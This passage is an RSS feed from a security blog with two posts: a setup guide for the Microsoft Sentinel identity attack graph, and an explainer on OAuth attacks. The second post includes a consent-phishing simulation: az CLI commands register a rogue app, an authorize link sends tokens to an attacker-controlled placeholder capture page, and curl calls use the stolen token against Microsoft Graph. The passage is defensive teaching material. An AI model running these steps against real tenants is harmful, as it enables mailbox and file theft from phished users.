<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Microsoft Entra ID (Azure AD) - Modern Security</title><link>https://www.modernsecurity.nl/microsoft-entra-id-azure-ad/</link><description>Hands-on blogs about Microsoft Entra ID (Azure AD), focusing on Conditional Access, MFA, identity threats, and security design decisions.</description><language>en-us</language><copyright>© 2026 Modern Security</copyright><generator>Hugo</generator><lastBuildDate>Sun, 05 Jul 2026 08:46:45 +0100</lastBuildDate><atom:link href="https://www.modernsecurity.nl/microsoft-entra-id-azure-ad/index.xml" rel="self" type="application/rss+xml"/><image><url>https://www.modernsecurity.nl/img/logo-light_hu_98d13a0e48fc51de.png</url><title>Microsoft Entra ID (Azure AD) - Modern Security</title><link>https://www.modernsecurity.nl/microsoft-entra-id-azure-ad/</link></image><item><title>Identity attack graph in Microsoft Sentinel: easy find lateral movement paths</title><link>https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/</link><guid isPermaLink="true">https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/</guid><pubDate>Sat, 09 May 2026 19:17:30 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Identity</category><category>Microsoft Entra ID (Azure AD)</category><category>Microsoft Sentinel</category><description>Map lateral movement paths across Entra and Azure. Step-by-step setup guide for the Microsoft Sentinel identity attack graph.</description><content:encoded><![CDATA[<p>Sentinel graph ships with two layers. One is custom graphs, where you build your own schema from any data in the lake, which I will cover in a new blog post later. The other is a set of Microsoft-managed graphs that require no authoring at all.</p>
<p>The identity attack graph is the most useful of those managed graphs. Enable two connectors, turn on the graph, wait for the initial build, and you have a query-able model of how identities in your tenant connect to Azure resources through permissions and group memberships. No notebooks, no schema design, no GQL to write upfront.</p>
<p><strong>The graph is currently in preview</strong></p>

<h2 class="relative group">What it shows you
    <div id="what-it-shows-you" class="anchor"></div>
    
</h2>
<p>The identity attack graph models three things: identities (users, service principals, managed identities, groups), Azure resources (subscriptions, resource groups, VMs, storage accounts, Key Vaults), and the access relationships connecting them via role assignments and group memberships.</p>
<p>The focus is lateral movement paths, not just direct access. A user who is a member of a group that has a role assignment on a subscription containing a Key Vault is three hops from that Key Vault. That chain doesn’t appear in a flat permissions table. It appears in a graph because each of those relationships is modelled as an edge you can traverse.</p>
<p>It’s built to answer questions like:</p>
<ul>
<li>What resources could an attacker reach if this account is compromised?</li>
<li>Which identities have indirect paths to privileged roles?</li>
<li>Which service principals can reach VMs, and via how many hops?</li>
<li>Are there circular group memberships creating unintended privilege inheritance?</li>
</ul>
<p>The predefined queries surface these without any GQL knowledge required. You can also write your own once you’re familiar with the schema.</p>

<h2 class="relative group">Prerequisites
    <div id="prerequisites" class="anchor"></div>
    
</h2>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Requirement</th>
              <th>Details</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>Microsoft Sentinel data lake</strong></td>
            <td>Must be enabled. The identity attack graph reads from the data lake tier and won’t work without it.</td>
        </tr>
        <tr>
            <td><strong>Microsoft Entra ID Assets connector</strong></td>
            <td>Required. Provides identity data: users, groups, service principals, managed identities, and the relationships between them.</td>
        </tr>
        <tr>
            <td><strong>Azure Resource Graph connector</strong></td>
            <td>Required. Provides Azure subscription and resource hierarchy.</td>
        </tr>
        <tr>
            <td><strong>Role to create the graph</strong></td>
            <td>Global Administrator or Security Administrator.</td>
        </tr>
    </tbody>
  </table>
</div>
<p>Both connectors are bundled in their respective Sentinel solution packages. If not yet installed, find them in Content Hub under <strong><a href="https://www.modernsecurity.nl/microsoft-sentinel/" >Microsoft Sentinel</a></strong> &gt; <strong>Content Management</strong> &gt; <strong>Content Hub</strong>.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Azure Resource Graph solution installed from the Sentinel Content hub"
    width="1919"
    height="998"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image_hu_ba4e51b0f6759177.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image.webp"></figure><figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Microsoft Entra ID Assets solution installed from the Sentinel Content hub"
    width="1919"
    height="995"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-7_hu_d2186a1b06479634.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-7.webp"></figure><p>Asset data snapshots are taken once every 24 hours. After enabling a connector, data can take up to 24 hours to arrive in the lake. Initial graph processing after that can take up to 48 hours. Enable this well before you need it for an investigation.</p>

<h2 class="relative group">One thing most guides don’t mention: ARG connector coverage
    <div id="one-thing-most-guides-dont-mention-arg-connector-coverage" class="anchor"></div>
    
</h2>
<p>The Azure Resource Graph connector has a coverage limitation worth understanding before you enable it.</p>
<p>When enabled, its managed identity is automatically granted the Reader role only on subscriptions where <em>you</em> have the Owner role. If you don’t have Owner across your entire Azure estate (most people don’t), the connector ingests a partial view. The graph gets built, but it won’t include resources from subscriptions the managed identity can’t read.</p>
<p>In my case I had the owner permissions and the identity was correctly setup:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Reader role assigned to the msg-resources managed identity on the tenant root management group"
    width="1919"
    height="995"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-1_hu_ab7e9526545e9bb0.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-1.webp"></figure><p>To get full tenant coverage, someone with elevated permissions needs to assign the Reader role to the connector’s managed identity at a broader scope if it failed. The managed identity is named <code>msg-resources-</code> followed by an alphanumeric ID, for example <code>msg-resources-b05e</code>. Reader can be assigned at:</p>
<ul>
<li><strong>Tenant root management group</strong> covers all subscriptions in the tenant</li>
<li>A specific <strong>management group</strong> covers a subset</li>
<li>Individual <strong>subscriptions</strong> covers only those</li>
</ul>
<p>Steps to assign:</p>
<ol>
<li>
<p>Navigate to the scope you want to cover, for example Tenant Root Group &gt; <strong>Access control (IAM)</strong></p>
</li>
<li>
<p>Select <strong>+ Add</strong> &gt; <strong>Add role assignment</strong></p>
</li>
<li>
<p>Assign the <strong>Reader</strong> role to the managed identity</p>
</li>
<li>
<p>Locate the <code>msg-resources-*</code> managed identity and complete the assignment</p>
</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Selecting the managed identity for the Reader role assignment"
    width="1919"
    height="999"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-2_hu_f4ecacb19df53aaf.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-2.webp"></figure><p>After the assignment propagates, the next ingestion cycle picks up the additional resources. Up to 24 hours for the new data to appear in the lake.</p>
<p>If your graph is missing subscriptions or resources you’d expect to find, this is almost certainly the reason.</p>

<h2 class="relative group">Setting up the identity attack graph
    <div id="setting-up-the-identity-attack-graph" class="anchor"></div>
    
</h2>

<h3 class="relative group">Step 1: Navigate to Graphs
    <div id="step-1-navigate-to-graphs" class="anchor"></div>
    
</h3>
<p>In the Microsoft Defender portal, go to <strong>Microsoft Sentinel</strong> &gt; <strong>Graphs</strong>.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Graphs page in Sentinel with the identity attack graph available to set up"
    width="1919"
    height="997"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-3_hu_9343ac3a3f515db6.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-3.webp"></figure>
<h3 class="relative group">Step 2: Set up the graph
    <div id="step-2-set-up-the-graph" class="anchor"></div>
    
</h3>
<p>Find the <strong>identity attack graph</strong> card and select <strong>Set up graph</strong>.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Identity attack graph setup with Azure Resource Graph and Entra ID data connected"
    width="1919"
    height="997"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-4_hu_7069c80c24b0c0d9.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-4.webp"></figure>
<h3 class="relative group">Step 3: Enable the required connectors
    <div id="step-3-enable-the-required-connectors" class="anchor"></div>
    
</h3>
<p>The setup flow walks you through both connectors:</p>
<ul>
<li><strong>Microsoft Entra ID</strong> <strong>Assets</strong> covers identity data, group memberships, and service principals</li>
<li><strong>Azure Resource Graph</strong> covers Azure subscriptions and resource hierarchy</li>
</ul>
<p>If either is not yet installed, go to Content Hub first and install the relevant solution. Already installed but not enabled, the setup flow will prompt you to turn them on.</p>
<p>This is also the point to think about ARG connector coverage. If full tenant coverage matters for your use case, sort out the managed identity Reader assignment before continuing.</p>

<h3 class="relative group">Step 4: Turn on the graph
    <div id="step-4-turn-on-the-graph" class="anchor"></div>
    
</h3>
<p>Select <strong>Turn on graph</strong>. The graph starts ingesting data and building its relationship model.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Turn on graph confirmation dialog with the cost notice"
    width="1919"
    height="999"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-5_hu_3253b8c9213e1e82.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-5.webp"></figure><p>Initial processing can take up to 48 hours. The graph is not query-able until the first build completes.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Identity attack graph turning on in the Graphs page"
    width="1919"
    height="997"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-6_hu_4fa0a751c99a88ee.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-6.webp"></figure>
<h3 class="relative group">Step 5: Open the query interface
    <div id="step-5-open-the-query-interface" class="anchor"></div>
    
</h3>
<p>When the graph shows as ready, select <strong>Query graph</strong> on the identity attack graph tile.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Identity attack graph and internet attack surface graphs ready to use"
    width="1919"
    height="1000"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-8_hu_1e5c35974dd47a75.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-8.webp"></figure>
<h2 class="relative group">Querying the identity attack graph
    <div id="querying-the-identity-attack-graph" class="anchor"></div>
    
</h2>

<h3 class="relative group">Step 6: Review the schema
    <div id="step-6-review-the-schema" class="anchor"></div>
    
</h3>
<p>Before running anything, open the <strong>Schema</strong> tab.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Identity attack graph schema with Entra and Azure node types"
    width="1919"
    height="1199"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-10_hu_26022a4f894b5d6a.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-10.webp"></figure><p>The schema defines what you can match in GQL. Node types include Entra users, groups, service principals, managed identities, Azure subscriptions, resource groups, VMs, storage accounts, and Key Vaults. Edge types include group memberships and role assignments. Checking the schema before writing queries saves time.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Identity attack graph schema filtered on the HasIdentity edge relationship"
    width="1919"
    height="1199"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-11_hu_6f2344b928ba7ed5.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-11.webp"></figure><p>Worth being explicit: the query language here is <strong>GQL (Graph Query Language)</strong>, not KQL. The syntax looks familiar in places but the logic is different. GQL uses <code>MATCH (x)-[y]-&gt;(z)</code> patterns to traverse relationships. You follow edges between nodes rather than joining rows. The predefined queries are a good way to see what working GQL looks like before writing your own.</p>

<h3 class="relative group">Step 7: Start with the predefined queries
    <div id="step-7-start-with-the-predefined-queries" class="anchor"></div>
    
</h3>
<p>Start with the predefined queries before writing custom GQL. They cover the most useful scenarios and show you the query structure.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Identity attack graph schema filtered on the HasIdentity edge relationship"
    width="1919"
    height="1199"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-12_hu_6f2344b928ba7ed5.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-12.webp"></figure>
<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Query</th>
              <th>What it surfaces</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>Visualize any graph</strong></td>
            <td>All nodes and edges, good starting point for exploration</td>
        </tr>
        <tr>
            <td><strong>Map Azure management structure</strong></td>
            <td>Subscription, resource group, and resource hierarchy</td>
        </tr>
        <tr>
            <td><strong>Identity attack paths: Entra users to Azure Key Vaults</strong></td>
            <td>Users with direct or indirect Key Vault access</td>
        </tr>
        <tr>
            <td><strong>Identity attack paths: service principals to virtual machines</strong></td>
            <td>Service principals that can reach VMs</td>
        </tr>
        <tr>
            <td><strong>Identity attack paths to Azure subscriptions</strong></td>
            <td>Identities with paths to subscription-level access</td>
        </tr>
        <tr>
            <td><strong>Identity attack paths to privileged roles</strong></td>
            <td>Identities that can reach privileged directory roles</td>
        </tr>
        <tr>
            <td><strong>Entra group memberships: detect circular relationships</strong></td>
            <td>Groups that form circular membership chains</td>
        </tr>
    </tbody>
  </table>
</div>
<p>Select <strong>Edit query</strong> on any of these to copy the GQL into the editor, then adjust filters, change the target node type, or add conditions for your specific investigation.</p>

<h3 class="relative group">Step 8: Run and explore
    <div id="step-8-run-and-explore" class="anchor"></div>
    
</h3>
<p>Select <strong>Run GQL query</strong>. Results render as an interactive graph (in this case I used the <strong>Visualize any graph</strong> as base):</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Identity attack graph query results as an interactive graph of users, groups and subscriptions"
    width="1919"
    height="1199"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-15_hu_9c026b744093740e.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-15.webp"></figure><p>From here:</p>
<ul>
<li>Select any node to open the details pane with account status, department, role assignments, and last password change</li>
<li>Right-click a node and select <strong>Explore connected assets</strong> to traverse one hop further without a new query</li>
<li>Switch to <strong>Table view</strong> to see results in rows and export to CSV</li>
<li>Hover over a node to highlight its direct connections and mute everything else</li>
<li>Use the filters in the top right of the canvas to narrow by node type or edge relationship</li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Node details for a service principal in the identity attack graph"
    width="1919"
    height="1199"
    src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-14_hu_b3d99f68c9ffa08a.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/image-14.webp"></figure>
<h2 class="relative group">What to look for
    <div id="what-to-look-for" class="anchor"></div>
    
</h2>
<p><strong>Short paths to privileged roles.</strong> The fewer hops between an identity and a privileged directory role, the more exposed you are. An identity two hops from Global Administrator via a nested group chain and a role assignment is a different risk profile than one eight hops away.</p>
<p><strong>Service principals with unexpected resource access.</strong> Service principals reaching VMs or Key Vaults via indirect role assignments, through inherited group memberships or role assignments higher up the subscription hierarchy, often come from earlier deployments that were never cleaned up.</p>
<p><strong>Circular group memberships.</strong> These create privilege inheritance chains that are invisible from the portal’s flat group membership view. The graph shows them immediately as cycles.</p>
<p><strong>Identities whose access exceeds their apparent role.</strong> Someone in a non-privileged department with indirect access to production Key Vaults via three layers of group nesting. Not malicious activity, just environment drift. The graph surfaces it; the follow-up is a permissions review.</p>

<h2 class="relative group">Billing and data retention
    <div id="billing-and-data-retention" class="anchor"></div>
    
</h2>
<p>The identity attack graph is billed under the Sentinel graph meter. Two cost elements to know about:</p>
<ul>
<li><strong>Asset data ingestion</strong>: charges apply for ingesting data through the Entra ID Assets and Azure Resource Graph connectors</li>
<li><strong>Asset data retention</strong>: default retention is 30 days, expandable up to 12 years, and you pay for whatever period you configure</li>
</ul>
<p>Check the <a href="https://www.microsoft.com/en-us/security/pricing/microsoft-sentinel"  target="_blank" rel="noreferrer">Sentinel pricing page</a> for current rates on the graph meter and asset ingestion.</p>

<h2 class="relative group">Limitations
    <div id="limitations" class="anchor"></div>
    
</h2>
<ul>
<li><strong>Up to 48 hours for initial build</strong>: The graph is not queryable during this window.</li>
<li><strong>ARG connector ingests partial coverage by default</strong>: Only subscriptions where the enabling user has Owner. Expand manually for full tenant coverage (see the ARG section above).</li>
<li><strong>Schema is Microsoft-managed</strong>: You can query what’s there but cannot add custom node or edge types.</li>
<li><strong>Asset data refreshes once every 24 hours</strong>: The graph is a point-in-time snapshot. Recent permission changes may not appear until the next ingestion cycle.</li>
<li><strong>Preview</strong>: Functionality and query behavior are subject to change before GA.</li>
</ul>

<h2 class="relative group">Resources
    <div id="resources" class="anchor"></div>
    
</h2>
<ul>
<li><a href="https://learn.microsoft.com/en-us/azure/sentinel/datalake/identity-attack-graph"  target="_blank" rel="noreferrer">What is the identity attack graph? (preview)</a></li>
<li><a href="https://learn.microsoft.com/en-us/azure/sentinel/datalake/enable-data-connectors"  target="_blank" rel="noreferrer">Asset data ingestion in the Microsoft Sentinel data lake</a></li>
<li><a href="https://learn.microsoft.com/en-us/azure/sentinel/datalake/sentinel-graph-overview"  target="_blank" rel="noreferrer">What is Microsoft Sentinel graph?</a></li>
<li><a href="https://learn.microsoft.com/en-us/azure/sentinel/datalake/graph-visualization"  target="_blank" rel="noreferrer">Visualize graphs in Microsoft Sentinel (preview)</a></li>
<li><a href="https://learn.microsoft.com/en-us/azure/sentinel/datalake/gql-reference-for-sentinel-custom-graph"  target="_blank" rel="noreferrer">GQL reference for Sentinel custom graph</a></li>
</ul>

<h2 class="relative group">Closing
    <div id="closing" class="anchor"></div>
    
</h2>
<p>I find these graphs a pleasant way to investigate identity risk. No query to write, no schema to design. Just enable, wait, and start exploring paths you didn’t know existed. What I appreciate most is that the predefined queries do the heavy lifting. You don’t need to know what you’re looking for; the graph shows you anyway.</p>
<p>What would make this even more powerful is the ability to take action directly based on what you find: trigger a remediation, flag a path for review, kick off a Conditional Access change. That’s the natural next step and I hope Microsoft moves in that direction.</p>
<p>Curious to see which managed graphs Microsoft ships next. The identity attack graph is clearly the first of several and the foundation is solid. I’ll might cover here more as they become available.</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/featured_hu_51e9f696a63b42e7.jpg" medium="image" type="image/jpeg" width="1200" height="675"/><enclosure url="https://www.modernsecurity.nl/microsoft-sentinel-identity-attack-graph/featured_hu_51e9f696a63b42e7.jpg" type="image/jpeg" length="104850"/></item><item><title>OAuth attacks: How to detect and mitigate with Microsoft App Governance (MDA)</title><link>https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/</link><guid isPermaLink="true">https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/</guid><pubDate>Tue, 21 Jan 2025 12:02:14 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Microsoft Defender XDR</category><category>Microsoft Defender for Cloud Apps</category><category>Microsoft Entra ID (Azure AD)</category><description>Learn how to investigate and secure OAuth apps in Microsoft 365 using Entra ID, Sentinel, Defender XDR, and App Governance to prevent consent phishing attacks.</description><content:encoded><![CDATA[
<h2 class="relative group">Introduction
    <div id="introduction" class="anchor"></div>
    
</h2>
<p><strong>OAuth</strong> (Open Authorization) has transformed enterprise security by enabling seamless authentication and authorization between cloud applications. However, it also presents significant security risks if improperly governed. <strong>Threat actors</strong>, particularly nation-state actors like <strong>Midnight Blizzard (APT29)</strong>, increasingly exploit <strong>OAuth-based vulnerabilities</strong> to gain unauthorized access, bypass traditional authentication controls, and establish long-term persistence within corporate environments.</p>
<p>This blog post explores <strong>OAuth threats</strong>, real-world attacks, and effective mitigation strategies based on Microsoft’s findings regarding Midnight Blizzard’s attack on Microsoft in 2024. We will also outline steps for manually monitoring, detecting, and automatically mitigating OAuth-based attacks using <strong>Microsoft Defender for Cloud Apps (MDCA) App Governance</strong> and some basic <strong>security best practices</strong>.</p>

<h2 class="relative group">Understanding OAuth threats
    <div id="understanding-oauth-threats" class="anchor"></div>
    
</h2>
<p><strong><a href="https://www.modernsecurity.nl/security/" >OAuth attacks</a></strong> typically involve exploiting misconfigured permissions, excessive application access, and inadequate oversight. Key risks include:</p>
<ul>
<li><strong>Token Hijacking</strong> – Attackers steal OAuth refresh tokens to maintain long-term access without reauthentication.</li>
<li><strong>Consent Phishing</strong> – Attackers craft deceptive OAuth applications to trick users into granting unnecessary permissions.</li>
<li><strong>Privilege Escalation</strong> – Malicious apps request excessive privileges to exfiltrate data or manipulate user actions.</li>
<li><strong>Application Impersonation</strong> – Threat actors use legitimate-looking apps to bypass MFA and persist within an environment.</li>
</ul>

<h3 class="relative group">Examples of OAuth attacks
    <div id="examples-of-oauth-attacks" class="anchor"></div>
    
</h3>
<p><strong>1. OAuth Applications to Deploy Virtual Machines for Cryptomining</strong></p>
<p>In December 2023, Microsoft Threat Intelligence reported that threat actors exploited compromised user accounts to create OAuth applications with elevated privileges. These malicious applications were then used to deploy virtual machines (VMs) within the organization’s cloud infrastructure for cryptocurrency mining. This unauthorized activity led to increased operational costs and resource consumption for the affected organizations. ​</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Storm-1283 attack chain abusing OAuth applications to deploy Azure VMs for cryptomining"
    width="1315"
    height="665"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-18_hu_5834dcf5a549a34f.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-18.webp"></figure><p><strong>2. OAuth Applications for Business Email Compromise (BEC) and Phishing</strong></p>
<p>Attackers have leveraged malicious OAuth applications to maintain persistent access to compromised email accounts, facilitating Business Email Compromise (BEC) schemes and phishing campaigns. By embedding themselves within the organization’s email system, these applications enable threat actors to intercept communications, impersonate employees, and distribute phishing emails internally and externally, increasing the likelihood of successful attacks. ​</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Attack chain of OAuth application misuse for phishing after an AiTM compromise"
    width="1746"
    height="536"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/figure-4-oauth-application-misuse-for-phishing-attack-chain_hu_3f052983d41d67e.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/figure-4-oauth-application-misuse-for-phishing-attack-chain.webp"></figure><p><strong>3. OAuth Applications for Spamming Activity</strong></p>
<p>Threat actors have also used OAuth applications to send large volumes of spam emails through compromised accounts. By exploiting the organization’s email infrastructure, attackers can distribute spam messages more effectively, often bypassing traditional security filters. This not only damages the organization’s reputation but can also lead to domain blacklisting and reduced email deliverability. ​</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Storm-1286 attack chain using OAuth applications for large-scale spam"
    width="1266"
    height="845"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/figure-7-attack-chain-for-large-scale-spam-using-oauth-applications_hu_16b826c1a8650adf.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/figure-7-attack-chain-for-large-scale-spam-using-oauth-applications.webp"></figure><p><strong>4. Midnight Blizzard’s Nation-State Attack</strong></p>
<p>In January 2024, Microsoft’s security team detected a sophisticated nation-state attack targeting its corporate systems, attributed to the Russian state-sponsored actor known as Midnight Blizzard (also referred to as NOBELIUM). The attackers exploited trusted third-party applications and leveraged OAuth tokens to infiltrate target networks, demonstrating the advanced tactics employed by nation-state actors to compromise organizational security.</p>

<h2 class="relative group">Simulating an OAuth token hijacking attack
    <div id="simulating-an-oauth-token-hijacking-attack" class="anchor"></div>
    
</h2>
<p>To better understand how an attacker can exploit <strong>OAuth token hijacking</strong>, we’ll walk through an attack simulation based on techniques used in common attacks. This simulation demonstrates how a hacker compromises a user, steals OAuth tokens, and gains access to an organization’s cloud environment. This is not the exact <strong>Mightnight Blizzard attack</strong>, but shows the possibilities with OAuth tokens.</p>
<p>The attacker first registers a <strong>rogue OAuth application</strong> in Azure AD to serve as the vehicle for stealing user tokens. A common tactic used in past adversaries is leveraging free <strong>Microsoft Developer Tenants</strong> to create these rogue applications. Microsoft shut these tenants down, but you can try this with 2 tenants of your own.</p>

<h3 class="relative group">1. Register the malicious application
    <div id="1-register-the-malicious-application" class="anchor"></div>
    
</h3>
<p>The attacker creates a new app registration in Azure AD (for the url I wrote a php file on my own domain/server – that captures the token when the user consents later on via the redirect url):</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">az ad app create --display-name &#34;TrustedApp&#34; --identifier-uris &#34;https://www.domain.xx/capture.html&#34;</span></span></code></pre></div></div>

<h3 class="relative group">2. Configure the application to request high privileges
    <div id="2-configure-the-application-to-request-high-privileges" class="anchor"></div>
    
</h3>
<p>The attacker configures the OAuth app to request dangerous permissions, such as:</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">az ad app permission add --id &lt;Malicious_App_ID&gt; --api &lt;MicrosoftGraph_API_ID&gt; --scope &#34;Mail.ReadWrite Files.ReadWrite.All&#34;</span></span></code></pre></div></div>

<h3 class="relative group">3. Generate a consent link to trick victims
    <div id="3-generate-a-consent-link-to-trick-victims" class="anchor"></div>
    
</h3>
<p>Once the rogue app is set up, the attacker generates a Microsoft OAuth consent URL and embeds it in a phishing email:</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?
</span></span><span class="line"><span class="cl">client_id=&lt;Malicious_App_ID&gt;&amp;
</span></span><span class="line"><span class="cl">response_type=token&amp;
</span></span><span class="line"><span class="cl">redirect_uri=https://www.domain.xx/capture.html&amp;
</span></span><span class="line"><span class="cl">scope=User.Read Mail.ReadWrite Files.ReadWrite offline_access</span></span></code></pre></div></div>
<p>The email impersonates a trusted cloud service (e.g., an IT helpdesk or a security update notification). If the victim clicks the link and grants consent, the attacker gains persistent access to their Microsoft 365 account without needing their credentials.</p>
<ul>
<li>If the user clicks and grants consent, the attacker’s rogue OAuth application gains access to their Microsoft 365 account, including emails, files, and possible administrative privileges</li>
<li>Even if the user has MFA enabled, the attack succeeds because OAuth grants do not require re-authentication once approved (as long as the token is valid)</li>
<li><em>There are some other things that need to be configured for it to be successful like type token issuance, multi tenant API access, non-restricted enterprise app consent etc</em>.</li>
</ul>

<h3 class="relative group">4. Using the extracted token to move around in the environment
    <div id="4-using-the-extracted-token-to-move-around-in-the-environment" class="anchor"></div>
    
</h3>
<p>After obtaining initial access, an attacker can query the environment by using the extracted OAuth tokens and the Microsoft Graph API. Some examples below with the permissions I requested (limited to only file/mail/offline access):</p>
<p>Check assigned roles:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">https://graph.microsoft.com/v1.0/me/memberOf</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request to Microsoft Graph listing the groups the compromised user is a member of"
    width="1618"
    height="702"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-23_hu_e8e80255851b6f16.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-23.webp"></figure><p>Get information about the displayName, userPrincipalName and profile info:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">https://graph.microsoft.com/v1.0/me?<span class="nv">$select</span><span class="o">=</span>displayName,userPrincipalName,assignedLicenses</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request to Microsoft Graph returning the compromised user&rsquo;s profile"
    width="1618"
    height="702"
